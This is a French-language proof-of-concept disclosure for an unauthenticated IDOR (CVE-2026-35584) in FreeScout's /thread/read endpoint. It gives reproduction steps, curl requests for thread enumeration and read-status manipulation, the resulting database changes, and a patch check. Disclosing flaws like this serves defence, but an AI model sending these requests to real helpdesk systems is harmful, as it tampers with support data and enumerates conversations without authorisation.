
Preuve de concept d'exploitation pour une vulnérabilité IDOR non authentifiée dans FreeScout qui permet l'énumération des fils de discussion et la manipulation du statut de lecture via des requêtes HTTP spécialement conçues.
POC - CVE-2026-35584 FreeScout
Le point de terminaison GET /thread/read/{conversation_id}/{thread_id} ne nécessite pas d'authentification et ne vérifie pas si le thread_id fourni appartient bien au conversation_id donné. Cela permet à tout attaquant non authentifié de :
Marquer n'importe quel thread comme lu en fournissant des identifiants arbitraires Énumérer les identifiants de threads valides via les codes de réponse HTTP (200 vs 404) Manipuler les horodatages opened_at entre les conversations (IDOR)
Version affectée
1.8.211 (dernière)
Créer deux conversations (conv_id=1 et conv_id=2) Créer un thread dans la conversation 2 (thread_id=3) Sans aucune authentification, envoyer : GET /thread/read/1/3 Vérifier dans la base de données — opened_at du thread_id=3 est désormais défini, malgré un accès via le mauvais conversation_id
curl -v "http://TARGET/thread/read/1/3"
Renvoie HTTP 200 et définit opened_at sur le thread 3
Aucune authentification requise IDOR : thread_id n'est pas validé par rapport à conversation_id Énumération des threads : HTTP 200 = thread valide, 404 = invalide Manipulation des métriques lu/non lu utilisées par les agents du support Brise le modèle d'isolation des conversations
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
Énumération des threads (non authentifié)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (thread valide)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (thread valide)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - le thread appartient à la conversation 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (thread invalide)
Avant : | id | conversation_id | opened_at | | 3 | 2 | NULL |
Après GET /thread/read/1/3 (sans authentification) : | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |